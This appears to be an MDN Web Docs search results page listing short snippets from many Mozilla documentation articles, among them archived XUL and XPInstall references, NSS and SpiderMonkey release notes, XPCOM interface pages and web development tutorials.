... this makes modifying mozilla's ui much easier than for many other applications.
...And 9 more matches
Creating regular expressions for a microsummary generator - Archive of obsolete content
most of the time, we can match a character in the url by putting the same character into the regular expression.
...when such characters appear in a url, and we want to match them in a regular expression, we have to escape them in the expression by prepending them with a backwards slash (\).
...in order to restrict our regular expression to urls that start with our example url, we prepend a caret (^) to the regular expression: ^http://cgi\.ebay\.com/ws/ebayisapi\.dll\?viewitem&item=280018439106 when a caret is the first character of a regular expression, it signifies that the expression must be found at the beginning of the string being matched.
...And 9 more matches
Developing New Mozilla Features - Archive of obsolete content
reviewing the tree only at the milestone releases is risky if you're doing significant development.
... something may have changed that will cause you extra work.
... and you'll miss the early discussion phase when you can add your perspective to the design work.
...And 9 more matches
GRE - Archive of obsolete content
the framework for embedding mozilla technologies was at one point called the gre (gecko runtime environment).
... this embedding framework allows applications to locate a compatible gecko runtime and embed it without knowing in advance where that runtime will be installed.
... this document describes how embedders should dynamically link to a gre.
...And 9 more matches
Twitter - Archive of obsolete content
to call trends/current, use jetpack.lib.twitter.trends.current().
...there are two styles you can use to define this object.
...(you can read about the parameters of the various methods at twitter's api reference.) there are two special, optional properties: success and error.
...And 9 more matches
LIR - Archive of obsolete content
category op code code name return type featured description miscellaneous 0 start void start of a fragment 1 regfence void a register fence causes no code to be generated, but it affects register allocation so that no registers are live when it is reached.
... 3 parami integer 32 bit load an int parameter (register or stack location).
... 4 paramq quad 64 bit load a quad parameter (register or stack location).
...And 9 more matches
Plug-n-Hack Phase1 - Archive of obsolete content
plug-n-hack (pnh) phase 1 allows easier integration and defines how security tools can advertise their capabilities to browsers.
... security tool manifest to support pnh-1 security tools provide a manifest over http(s) which defines the capabilities that the browser can make use of.
... the tool configures itself by serving an html document (we’ll call this the configuration document) to the browser.
...And 9 more matches
Scripting - Archive of obsolete content
prism allows for some client-side web application customization.
... the web application bundle is allowed to hold a javascript file named webapp.js (called the webapp script).
...it can contain the following functions: startup when the app starts, before the user interface is displayed.
...And 9 more matches
addFile - Archive of obsolete content
addfile unpacks a single subcomponent into a temporary location.
...method of install object syntax public int addfile ( string registryname, installversion version, string xpisourcepath, object localdirspec, string relativelocalpath, boolean forceupdate); public int addfile ( string registryname, string version, string xpisourcepath, object localdirspec, string relativelocalpath, boolean forceupdate); public int addfile ( string xpisourcepath); public int addfile ( string registryname, string xpisourcepath, object localdirspec, string relativelocalpath); public int addfile ( string registryname, string version, string xpisourcepath, object localdirspec, string relativelocalpath)...
...this parameter can be an absolute pathname, such as /royalairways/royalsw/executable or a relative pathname, such as executable.
...And 9 more matches
getFolder - Archive of obsolete content
method of install object syntax filespecobject getfolder ( string foldername); filespecobject getfolder ( string foldername, string subdirectory); filespecobject getfolder ( object localdirspec, string subdirectory); parameters the getfolder method has the following parameters: foldername a string representing one of netscape's standard directories.
...the first set contains platform-independent locations; the second set contains platform-specific locations.
... you are encouraged to use the platform-independent locations.
...And 9 more matches
patch - Archive of obsolete content
method of install object syntax int patch ( string registryname, string xpisourcepath, object localdirspec, string relativelocalpath); int patch ( string registryname, installversion version, string xpisourcepath, object localdirspec, string relativelocalpath); int patch ( string registryname, string version, string xpisourcepath, object localdirspec, string relativelocalpath); parameters the patch method has the following parameters: registryname the pathname in the client version registry for the component that is to be patched.this parameter can be an absolute pathname, such as /royalairways/royalsw/executable or a relative pathname, such as executable.
... typically, absolute pathnames are only used for shared components, or components that come from another vendor, such as /microsoft/shared/msvcrt40.dll.
... typically, relative pathnames are relative to the main pathname specified in the initinstall method.
...And 9 more matches
registerChrome - Archive of obsolete content
method of install object syntax int registerchrome( switch, srcdir, xpipath); parameters the registerchrome method has the following parameters: switch switch is the chrome switch indicating what type of file is being registered.
... skin is used to register skins, locale is used to register language packs.
... package, a third possibility is the equivalent of skin and/or locale, and ensures that everything in the xpi is registered.
...And 9 more matches
Return Codes - Archive of obsolete content
return codes the methods described in this chapter can return any of the following return codes.
... in mozilla/seamonkey, these constants are defined as part of the xpinstall object (formerly the softwareupdate object in netscape communicator 4.5).
...restart the computer and the application to complete the installation process.
...And 9 more matches
Installer Script - Archive of obsolete content
// do the verification 10.
...var err = initinstall("netscape seamonkey", "browser", "6.0.0.2000110807"); 21.
...var communicatorfolder = getfolder("program"); 23.
...And 9 more matches
Extensions - Archive of obsolete content
to add a new menu onto the main application menubar, you will need to overlay this menubar.
...this can be done by overlaying the popup to append the item to.
...because of this, the new item might not appear at the end of the menu but before a menuitem added by another extension, depending on the order in which the overlays are applied.
...And 9 more matches
Containment Properties - Archive of obsolete content
« previousnext » so far, we've seen how the simple query syntax can generate results from the children of an rdf container.
... however, the simple query syntax may also iterate over a single predicate pointing out of a resource, rather than use the children.
...to do this, use the containment attribute on the root node, set to the predicate to iterate over.
...And 9 more matches
Scroll Bars - Archive of obsolete content
adding scroll bars a scroll bar is typically used so that a user can move around in a large document.
... you can also use it when you need to ask for a value that falls within a certain range.
... scroll bars can be created in a number of ways.
...And 9 more matches
listitem - Archive of obsolete content
checked type: boolean indicates whether the element is checked or not.
... start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales.
... end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales.
...And 9 more matches
radio - Archive of obsolete content
ArchiveMozillaXULradio
« xul reference home [ examples | attributes | properties | methods | related ] an element that can be turned on and off.
...the user can switch which radio button is turned on by selecting it with the mouse or keyboard.
... start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales.
...And 9 more matches
splitter - Archive of obsolete content
if this attribute is not specified, the splitter will not cause a collapse.
... both either the element immediately before the splitter, or the element immediately after the splitter can be collapsed, if the size of that element would fall below the minimum size due to the position of the splitter.
... resizeafter type: one of the values below this attribute indicates which element to the right or below the splitter should be resized when the splitter is repositioned.
...And 9 more matches
toolbar - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a container which typically contains a row of buttons.
...it can be collapsed with a grippy when the toolbar is placed inside a toolbox.
...you can associate an external toolbar with a toolbox for the purpose of managing your toolbars by setting the toolboxid property on the toolbar.
...And 9 more matches
XULRunner 1.8.0.1 Release Notes - Archive of obsolete content
it provides facilities for launching standalone xul applications and embedding apis which can be used to render web pages within native and java applications.
... installing xul applications xul applications can be obtained from various sources, and are typically packaged as a zip archive with the extension .xulapp or .xpi.
... sample applications are available from the mozilla developer center.
...And 9 more matches
XULRunner FAQ - Archive of obsolete content
you can use xulrunner to make a browser (mybrowser example or firefox), but there is no such thing as "the xulrunner browser".
...xulrunner can be used to make development tools (the ajax toolkit framework, for example).
... the goal of xulrunner is to facilitate development and deployment of internet applications.
...And 9 more matches
NPN_RequestRead - Archive of obsolete content
this initiates a read operation; the actual data is received through subsequent calls to npp_writeready() and npp_write().
...the plug-in calls npn_requestread() to request data from a seekable stream.
... the plug-in can use this function to make one or more requests for ranges of bytes.
...And 9 more matches
NPN_SetValue - Archive of obsolete content
this call is used to inform the browser of variable information controlled by the plugin.
... variable values the function can set: nppvpluginwindowbool: sets windowed/windowless mode for plugin display; true=windowed, false=windowless nppvplugintransparentbool: sets transparent mode for display of a plugin; true=transparent, false=opaque nppvjavaclass nppvpluginwindowsize nppvplugintimerinterval nppvpluginscriptableinstance nppvpluginscriptableiid nppvjavascriptpushcallerbool: specifies whether you are pushing or popping the jscontext off the stack nppvpluginkeeplibraryinmemory: tel...
...in windowless mode all the browser to plugin communications related to drawing, mouse, and keyboard input are accomplished via npp_handleevent.
...And 9 more matches
Plugins - Archive of obsolete content
if there are plugin features which are not available in the web platform, we encourage developers to post their use cases to mozilla.dev.platform project list, so that mozilla can prioritize web platform work to make those use cases possible.
... plugins are shared libraries that users can install to display content that the browser can't display natively.
... plugins can be written completely from scratch using c apis (usually in c or c++) or they may be built on a plugin framework such as firebreath, juce, or qtbrowserplugin.
...And 9 more matches
Using SSH to connect to CVS - Archive of obsolete content
cygwin makes ssh available on windows if you install the openssh package from the net category.
... setting up cvs to use ssh in your system's environment, make sure thatcvs_rsh is set to whatever your ssh binary is called; a full path is not necessary if ssh is already in your path.
...this can be done using a unix-style find and perl: find .
...And 9 more matches
Debug - Archive of obsolete content
its properties and methods are called off the debug class.
... constants async callback status codes contant description value debug.ms_async_callback_status_assign_delegate the synchronous work item assigned a callback or continuation to be run by an asynchronous operation.
... 0 debug.ms_async_callback_status_join the synchronous work item satisfied part of a join asynchronous operation.
...And 9 more matches
New in JavaScript 1.2 - Archive of obsolete content
the following is a changelog for javascript from netscape navigator 3.0 to 4.0.
... the old netscape documentation can be found on archive.org.
... netscape navigator 4.0 was released on june 11, 1997.
...And 9 more matches
Object.prototype.watch() - Archive of obsolete content
deprecation warning: do not use watch() and unwatch()!
... these two methods were implemented only in firefox prior to version 58, they're deprecated and removed in firefox 58+.
...you can usually use setters and getters or proxies instead.
...And 9 more matches
Archived JavaScript Reference - Archive of obsolete content
obsolete javascript features and unmaintained docs arguments.callerthe obsolete arguments.caller property used to provide the function that invoked the currently executing function.
...however, this api has been deprecated and removed from browsers.
... you can use the more general proxy object instead.array.unobserve()the array.unobserve() method was used to remove observers set by array.observe(), but has been deprecated and removed from browsers.
...And 9 more matches
Mozilla XForms Specials - Archive of obsolete content
introduction this article gives an overview of where the mozilla xforms extension deviates from the official xforms 1.0 specification .
...limitations repeat using attributes the specifications mentions "creating repeating structures via attributes", this is partially supported.
...), except for :read-only and :read-write, because of non-specified behaviour of these for (x)html.
...And 9 more matches
Collision detection - Game development
« previousnext » this is the 7th step out of 10 of the gamedev canvas tutorial.
... you can find the source code as it should look after completing this lesson at gamedev-canvas-workshop/lesson7.html.
...we need to think about adding collision detection so it can bounce off the bricks and break them.
...And 9 more matches
Build the brick field - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson09.html.
... building the brick field is a little bit more complicated than adding a single object to the screen, although it's still easier with phaser than in pure javascript.
... rendering the brick image next, let's load the image of the brick — add the following load.image() call just below the others: function preload() { // ...
...And 9 more matches
Primitive - MDN Web Docs Glossary: Definitions of Web-related terms
there also is null, which is seemingly primitive, but indeed is a special case for every object: and any structured type is derived from null by the prototype chain.
... all primitives are immutable, i.e., they cannot be altered.
...the variable may be reassigned a new value, but the existing value can not be changed in the ways that objects, arrays, and functions can be altered.
...And 9 more matches
Test your skills: WAI-ARIA - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
...assuming you are not able to change the elements used, how can you allow screenreader users to recognize this as a list?
... wai-aria 2 in our second wai-aria task, we present a simple search form, and we want you to add in a couple of wai-aria features to improve its accessibility: how can you allow the search form to be called out as a separate landmark on the page by screenreaders, to make it easily findable?
...And 9 more matches
Accessibility - Learn web development
beyond mechanical use, it's important to learn how to use these technologies responsibly so that all readers might use your creations on the web.
... overview when someone describes a site as "accessible," they mean that any user can use all its features and content, regardless of how the user accesses the web — even and especially users with physical or mental impairments.
... applications should be understandable and usable by people regardless of auditory, visual, physical, or cognitive abilities.
...And 9 more matches
Combinators - Learn web development
previous overview: building blocks next the final selectors we will look at are called combinators, because they combine other selectors in a way that gives them a useful relationship to each other and the location of content in the document.
... prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn about the different combinator selectors that can be used in css.
... descendant combinator the descendant combinator — typically represented by a single space ( ) character — combines two selectors such that elements matched by the second selector are selected if they have an ancestor (parent, parent's parent, parent's parent's parent, etc) element matching the first selector.
...And 9 more matches
Pseudo-classes and pseudo-elements - Learn web development
once you know how to use them, you can look at the list to see if there is something which works for the task you are trying to achieve.
...examples include: :hover — mentioned above; this only applies if the user moves their pointer over an element, typically a link.
... it acts as if a <span> was magically wrapped around that first formatted line, and updated each time the line length changed.
...And 9 more matches
How do you upload your files to a web server? - Learn web development
open the filezilla application; you should see something like this: logging in for this example, we'll suppose that our hosting provider (the service that will host our http web server) is a fictitious company "example hosting provider" whose urls look like this: mypersonalwebsite.examplehostingprovider.net.
... let's first look at http://demozilla.examplehostingprovider.net/ — as you can see, so far there is nothing there: note: depending on your hosting provider, most of the time you'll see a page saying something like “this website is hosted by [hosting service].” when you first go to your web address.
... here and there: local and remote view once connected, your screen should look something like this (we've connected to an example of our own to give you an idea): let's examine what you're seeing: on the center left pane, you see your local files.
...And 9 more matches
Test your skills: Links - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... links 1 in this task we want you to help fill in the links on our whales information page: the first link should be linked to a page called whales.html, which is in the same directory as the current page.
... the second link should be turned into a link you can click to open up an email in the user's default mail application, with the recipient set as "whales@example.com".
...And 9 more matches
Image gallery - Learn web development
starting point to get this assessment started, you should go and grab the zip file for the example, unzip it somewhere on your computer, and do the exercise locally to begin with.
... it sets the width of any images inside the thumb-bar <div> (so-called "thumbnail" images) to 20%, and floats them to the left so they sit next to one another on a line.
... looping through the images we've already provided you with lines that store a reference to the thumb-bar <div> inside a constant called thumbbar, create a new <img> element, set its src attribute to a placeholder value xxx, and append this new <img> element inside thumbbar.
...And 9 more matches
Test your skills: variables - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
... variables 1 in this task we want you to: declare a variable called myname.
...And 9 more matches
Test your skills: Object basics - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
... object basics 1 in this task you are provided with an object literal, and your tasks are to store the value of the name property inside the catname variable, using bracket notation.
...And 9 more matches
Beginning our React todo list - Learn web development
note: if you need to check your code against our version, you can find a finished version of the sample react app code in our todo-react repository.
... objective: to introduce our todo list case study, and get the basic app structure and styling in place.
...our app should fulfill the following stories: as a user, i can read a list of tasks.
...And 9 more matches
Using Vue computed properties - Learn web development
previous overview: client-side javascript frameworks next in this article we'll add a counter that displays the number of completed todo items, using a feature of vue called computed properties.
...this can be useful for users, while also serving to label the list for assistive technology.
... while it might be tempting to do something like this: <h2>{{todoitems.filter(item => item.done).length}} out of {{todoitems.length}} items completed</h2> it would be recalculated on every render.
...And 9 more matches
Frequently Asked Questions for Lightweight themes
what can lightweight themes do?
...you can easily preview a design and install it without needing to restart.
... in just a few seconds, you can install a theme and transform the look of your firefox web browser.
...And 9 more matches
Continuous Integration
when sheriffs see a build or test has been broken, they are empowered to take one of several actions, including backing out a patch which caused the problem and closing the tree (i.e., preventing any additional commits).
... the label text indicates the job type.
... clobber builds mean the directory hierarchy, including the local source and object directory are deleted if it exists from a previous build.
...And 9 more matches
Creating a spell check dictionary add-on
this page describes how to package a hunspell spell check dictionary as a firefox add-on, or how to update your existing add-on, so that it can be installed, uninstalled and updated without a restart.
... a locale code to describe the language of the dictionary.
...it is important to choose the right locale code, or the spell checker will not be able to match the language of your dictionary against the language of a web page in order to select the right dictionary to use.
...And 9 more matches
Debugging a hang on OS X (Archived)
this article contains historical information about older versions of os x.
... if you find a hang in an application, it is very useful for the developer to know where in the code this hang happens, especially if he or she can't reproduce it.
... below are steps you can use to attach so-called "samples" to bug reports.
...And 9 more matches
Debugging
debugging a project as large as mozilla can be a daunting task.
... fortunately, over the years, mozilla developers have come up with not just technologies and features to help you debug code, but have devised tips and techniques that can help too.
... also available are assorted tools that you can use when debugging.
...And 9 more matches
Simple Sunbird build
you can give it a try, but its likely that the build system will present you an error.
... you can build a bleeding-edge, development version of sunbird using the commands below.
...(for some mac os x versions, you will find it in a directory called "optional installs".) install macports.
...And 9 more matches
Inner and outer windows
consider that when the user is looking at a document in a browser window, not only can the document the user is currently viewing change, but the document's contents can change.
... then add to that the concept of frames, whereby a document in a window can itself contain other documents, which in turn can contain more documents.
...these don't technically refer to windows as the user sees them, but rather a perspective on what the user is looking at.
...And 9 more matches
Gecko SDK
the gecko sdk, also known as the xulrunner sdk, is a set of xpidl files, headers and tools to develop xpcom components which can then in turn e.g.
...the gecko sdk is a collection of header files and tools used to develop general xpcom components which add functionality to the existing platform, whereas xulrunner is a framework which can be used to run standalone or embedded applications based on the mozilla framework.
... in addition to the below versions, you can find other versions (including beta) here: xulrunner releases (files include "sdk" in the name).
...And 9 more matches
DownloadList
a downloadlist object represents a collection of download objects that can be viewed and managed by the user interface, and persisted across sessions.
... a reference to a downloadlist object can be obtained using the downloads.getlist() function.
... note: when a download is added to the list, its onchange event is registered by the list, thus it cannot be used to monitor the download.
...And 9 more matches
JNI.jsm
if you would like to support versions before that, you can copy and paste the contents of the jsm file int jni stands for java native interface; this library allows calling java code running in java virtual machines (jvms), etc.
... jni.jsm contains all the js-ctypes needed to communicate with the jni libraries.
...unlike c from js-ctypes, defining constants is not a manual magic number method in jni, it is declared the same way we define functions, except in jni they are called fields.
...And 9 more matches
gettext
warning: this document pertains to the development of mozilla web sites and not to the development of gecko-based extensions or applications.
...first in the ngettext() call, where it will be used to determine which form of the string will be returned.
...the second time the $num variable is passed in the printf() call, which at this point of interpretation looks something like printf("%d user likes this.", $num);.
...And 9 more matches
Fonts for Mozilla's MathML engine
this wiki page describes how users can install and use such math fonts with mozilla's mathml engine.
... note:cambria math is installed by default on windows 7 and later versions and should ensure relatively good mathml rendering.
... note: a deprecated version of stix is preinstalled starting with os x lion and should ensure relatively good mathml rendering.
...And 9 more matches
Mozilla Web Services Security Model
overview (this document is being compiled from scattered documentation and source code and most of the information in it has not been verified.
... please do not depend on anything in it being correct for security.) to prevent the browser from being used as a tool for web sites to obtain priveleges that belong to the browser's user (such as being behind a firewall or getting the benefits of the user's cookies), web browsers restrict what web pages can do when accessing things in other domains.
... however, web services can be designed to be accessed from other domains, or even from any domain.
...And 9 more matches
Research and prep
productization is the process of determining a user's choice of default search engines, content and protocol handlers (rss readers, web mail and web calendar), bookmarks, and links to recommended sites on the in-product pages as it relates to their locale.
... it is one of the most customizable and localizable parts of the product l10n process, as it goes beyond string translation.
... we believe that localization teams are in the best position to provide recommendations on what local providers we can use for web services because you're in the market, work in the language, and know your users.
...And 9 more matches
PR_Poll
timeout amount of time the call will block waiting for i/o to become ready.
... returns the function returns one of these values: if successful, the function returns a positive number indicating the number of prpolldesc structures in pds that have events.
... the value 0 indicates the function timed out.
...And 9 more matches
Building NSS
because nss is a cross-platform library that builds on many different platforms and has many options, it may be complex to build.
... please read these instructions carefully before attempting to build.
... you can also build nss on the windows subsystem for linux, but the resulting binaries aren't usable by other windows applications.
...And 9 more matches
Getting Started With NSS
would you like to get involved and help us to improve the core security of mozilla firefox and other applications that make use of nss?
...you can find us on mozilla irc in channel #nss or you could ask your questions on the mozilla.dev.tech.crypto newsgroup.
...you can start with: the current primary nss documentation page from which we link to other documentation.
...And 9 more matches
4.3.1 Release Notes
new in jss 4.3.1 a list of bug fixes and enhancement requests were implemented in this release can be obtained by running this bugzilla query jss 4.3.1 requires nss 3.12.5 or higher.
...this will cause programs that attempt to perform renegotiation to experience failures where they formerly experienced successes, and is necessary for them to not be vulnerable, until such time as a new safe renegotiation scheme is standardized by the ietf.
... if an application depends on renegotiation feature, it can be enabled by setting the environment variable nss_ssl_enable_renegotiation to 1.
...And 9 more matches
NSS 3.14 release notes
services (nss) 3.14, which is a minor release with the following new features: support for tls 1.1 (rfc 4346) experimental support for dtls 1.0 (rfc 4347) and dtls-srtp (rfc 5764) support for aes-ctr, aes-cts, and aes-gcm support for keying material exporters for tls (rfc 5705) in addition to the above new features, the following major changes have been introduced: support for certificate signatures using the md5 hash algorithm is now disabled by default.
... nss 3.14 source tarballs can be downloaded from https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_14_rtm/src/.
... to better support tls 1.1 and future versions of tls, a new version range api was introduced to allow applications to specify the desired minimum and maximum versions.
...And 9 more matches
NSS 3.18 release notes
nss 3.18 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_18_rtm/src/ new in nss 3.18 new functionality when importing certificates and keys from a pkcs#12 source, it's now possible to override the nicknames, prior to importing them into the nss database, using new api sec_pkcs12decoderrenamecertnicknames.
... use -c one, two or three times to print information about the certificates received from a server, and information about the locally found and trusted issuer certificates, to diagnose server side configuration issues.
...a pkcs#11 library that contains root ca certificates can be loaded by tstclnt, which may either be the nssckbi library provided by nss (-b) or another compatible library (-r).
...And 9 more matches
NSS 3.21 release notes
new in nss 3.21 new functionality certutil now supports a --rename option to change a nickname (bug 1142209) tls extended master secret extension (rfc 7627) is supported (bug 1117022) new info functions added for use during mid-handshake callbacks (bug 1084669) new functions in nss.h nss_optionset - sets nss global options nss_optionget - gets the current value of nss global options in secmod.h secmod_createmoduleex - create a new secmodmodule structure from module name string, module parameters string, nss specific parameters string, and nss configuration parameter string.
... in ssl.h ssl_getpreliminarychannelinfo - obtains information about a tls channel prior to the handshake being completed, for use with the callbacks that are invoked during the handshake ssl_signatureprefset - configures the enabled signature and hash algorithms for tls ssl_signatureprefget - retrieves the currently configured signature and hash algorithms ssl_signaturemaxcount - obtains the maximum number signature algorithms that can be configured with ssl_signatureprefset in utilpars.h nssutil_argparsemodulespecex - takes a module spec and breaks it into shared library string, module name str...
...the returned strings must be freed by the caller.
...And 9 more matches
NSS 3.31 release notes
nss 3.31 requires netscape portable runtime (nspr) 4.15 or newer.
... nss 3.31 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_31_rtm/src/ new in nss 3.31 new functionality allow certificates to be specified by rfc7512 pkcs#11 uris.
... allow querying a certificate object for its temporary or permanent storage status in a thread safe way.
...And 9 more matches
NSS tools : vfychain
name vfychain — vfychain [options] [revocation options] certfile [[options] certfile] ...
... synopsis vfychain description the verification tool, vfychain, verifies certificate chains.
... modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations.
...And 9 more matches
TLS Cipher Suite Discovery
in order to communicate securely, an tls client and tls server must agree on the cryptographic algorithms and keys that they will both use on the secured connection.
... they must agree on these items: key establishment algorithm (such as rsa, dh, or ecdh) peer authentication algorithm (such as rsa, dsa, ecdsa) bulk data encryption algorithm (such as rc4, des, aes) and key size digest algorithm for message authentication checking (sha1, sha256) there are numerous available choices for each of those categories, and the number of possible combinations of all those choices is large.
... tls does not allow all possible combinations of choices from those categories to be used.
...And 9 more matches
NSS tools : vfychain
name vfychain — vfychain [options] [revocation options] certfile [[options] certfile] ...
... synopsis vfychain description the verification tool, vfychain, verifies certificate chains.
... modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations.
...And 9 more matches
Network Security Services
network security services (nss) is a set of libraries designed to support cross-platform development of security-enabled client and server applications.
... applications built with nss can support ssl v3, tls, pkcs #5, pkcs #7, pkcs #11, pkcs #12, s/mime, x.509 v3 certificates, and other security standards.
... documentation background information overview of nss provides a brief summary of nss and its capabilities.
...And 9 more matches
JSNewEnumerateOp
this callback overrides a portion of spidermonkey's default [[enumerate]] internal method.
...this callback overrides a portion of spidermonkey's default [[enumerate]] internal method.
... when an ordinary object is enumerated, that object and each object on its prototype chain is tested for an enumerate op, and those ops are called in order.
...And 9 more matches
JS_Add*Root
in a js_threadsafe build, the caller must be in a request on this jscontext.
...(for example, it must not be an uninitialized local variable.
... that could cause sporadic crashes during garbage collection, which can be hard to debug.) the variable must remain in memory until the balancing call to js_removeroot.
...And 9 more matches
SpiderMonkey 24
you can download full source code here: https://ftp.mozilla.org/pub/mozilla.org/js/mozjs-24.2.0.tar.bz2 (sha1: ce779081cc11bd0c871c6f303fc4a0091cf4fe66) spidermonkey 24 is the javascript engine that shipped in firefox 24.
... it continues to improve performance over previous spidermonkey releases, with a significantly improved garbage collector, a new jit compilation mode, and other features.
... compiling it requires a c++ compiler, and the jsapi can only be used from c++ code.
...And 9 more matches
SpiderMonkey 45
you can download full source code from https://ftp.mozilla.org/pub/spidermonkey/releases/45.0.2/mozjs-45.0.2.tar.bz2 sha256: 570530b1e551bf4a459d7cae875f33f99d5ef0c29ccc7742a1b6f588e5eadbee md5: 2ca34f998d8b5ea79d8616dd26b5fbab spidermonkey 45 is the javascript engine that shipped in firefox 45.
... compiling it requires a c++ compiler, and the jsapi can only be used from c++ code.
... spidermonkey 45 includes a just-in-time compiler (jit) that compiles javascript to machine code, for a significant speed increase.
...And 9 more matches
Thread Sanitizer
more information on how tsan works can be found on the thread sanitizer wiki.
... clang 3.4 + tsan cannot compile firefox due to an internal compiler error; some versions of clang 3.5 packaged by linux distros do not work for the same reason.
... you can check which version of clang you have by running the command: clang -v if you are not building from mozilla-central and are building firefox 39 or earlier, you must use clang 3.3.
...And 9 more matches
Using RAII classes in Mozilla
ensuring raii classes are not used as temporaries a common mistake when using raii classes is to accidentally forget to name object, which causes its scope to be different from what is intended.
... for example, instead of writing: autolock lock(mmutex); which causes the lock to be held until the end of the block, one might write: autolock(mmutex); which erroneously causes the lock to be released at the end of the statement.
... static analysis static analysis passes are run on our testing infrastructure using our clang plugin, you can also run them locally marking a raii class for the static analysis is very simple, and performing this marking causes the static analysis to produce a build-time error whenever a raii class is allocated as a temporary, on the heap, or in static storage.
...And 9 more matches
XML Extras
other test cases for each of the implemented components listed above exist in extensions/xmlextras/tests/.
...if you'd like to help out with qa, you can do one of the following: sign up as the qa owner for any of the implemented components.
... for xmlhttprequest object you can mostly rely on the microsoft xmlhttprequest documentation, with some caveats: all functions and property names begin with a lower case letter and the object creation is different.
...And 9 more matches
Generating GUIDs
guids are used in mozilla programming for identifying several types of entities, including xpcom interfaces (this type of guids is callled iid), components (cid), and legacy add-ons—like extensions and themes—that were created prior to firefox 1.5.
... add-ons can (and should) be identified with ids of the form extensionname@organization.tld since firefox 1.5.
...if all else fails, using extensionname@yourusername.addons.mozilla.org should be fine; no one will care.
...And 9 more matches
XPCOM hashtable guide
any type: almost any datatype can be used as key, including strings, integers, xpcom interface pointers, iids, and almost anything else.
... keys can be disjunct (i.e.
... you can store entries with keys 1, 5, and 3000).
...And 9 more matches
NS_InitXPCOM3
« xpcom api reference summary the ns_initxpcom3 function initiates use of xpcom in the calling process with support for statically defined xpcom modules.
... #include "nsxpcom.h" nsresult ns_initxpcom3( nsiservicemanager** aresult, nsifile* abindirectory, nsidirectoryserviceprovider* aappfilelocationprovider, nsstaticmoduleinfo const* astaticmodules, pruint32 astaticmodulecount ); parameters aresult [out] the resulting xpcom service manager.
...the service manager may alternatively be accessed by calling ns_getservicemanager.
...And 9 more matches
mozIStorageAggregateFunction
objects implementing this interface can be registered with mozistorageconnection.createaggregatefunction().
... last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void onstep(in mozistoragevaluearray afunctionarguments); nsivariant onfinal(); methods onstep() this is called for each row of results returned by the query.
... note this callback is executed on the thread that the statement or trigger is executing on.
...And 9 more matches
mozIStorageFunction
objects implementing this interface can be registered with mozistorageconnection.createfunction().
... last changed in gecko 1.9.1.4 (firefox 3.5.4) inherits from: nsisupports method overview nsivariant onfunctioncall(in mozistoragevaluearray afunctionarguments); methods onfunctioncall() the implementation of the function.
... this is called by the database engine when the function registered with mozistorageconnection.createfunction() is used in an executing sql statement or trigger.
...And 9 more matches
nsIAuthInformation
netwerk/base/public/nsiauthinformation.idlscriptable a object that holds authentication information.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) the caller of nsiauthprompt2.promptusernameandpassword() or nsiauthprompt2.promptpasswordasync() provides an object implementing this interface; the prompt implementation can then read the values here to prefill the dialog.
... after the user entered the authentication information, it should set the attributes of this object to indicate to the caller what was entered by the user.
...And 9 more matches
nsIAuthModule
netwerk/base/public/nsiauthmodule.idlscriptable this interface is intended to be used as server and client authentication service.
... req_mutual_auth (1 << 0) client and server will be authenticated.
... methods getnexttoken() this method is called to get the next token in a sequence of authentication steps.
...And 9 more matches
nsIAuthPrompt
netwerk/base/public/nsiauthprompt.idlscriptable this interface allows the networking layer to pose a user/password prompt to obtain the values needed for authentication.
... methods prompt() this method puts up a text input dialog with ok and cancel buttons.
...for example, ldap://localhost/dc=test.
...And 9 more matches
nsIFileProtocolHandler
a local file will be created if the url string begins with file://.
...should only be called on files which are not directories.
... otherwise identical to geturlspecfromfile(), but is usually more efficient.
...And 9 more matches
nsIMemoryReporter
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) any piece of code that wishes to allow its memory use to be monitored may create an nsimemoryreporter object and then register it by calling nsimemoryreportermanager.registerreporter().
...attributes attribute type description amount print64 the numeric value reported by the memory reporter, specified in the units indicated by the units attribute.
... note: this attribute was called memoryused prior to gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4), and its type was long long.
...And 9 more matches
nsIPrintingPrompt
embedding/browser/webbrowser/nsiprintingprompt.idlscriptable this is the printing prompt interface which can be used without knowlege of a parent window.
... inherits from: nsisupports last changed in gecko 1.7 this interface is identical to nsipintingpromptservice but without the parent nsidomwindow parameter.
...the service is automatically registered at start up.
...And 9 more matches
nsIProgressEventSink
netwerk/base/public/nsiprogresseventsink.idlscriptable this interface is used to asynchronously convey channel status and progress information that is generally not critical to the processing of the channel.
... inherits from: nsisupports last changed in gecko 1.7 this interface is used to asynchronously convey channel status and progress information that is generally not critical to the processing of the channel.
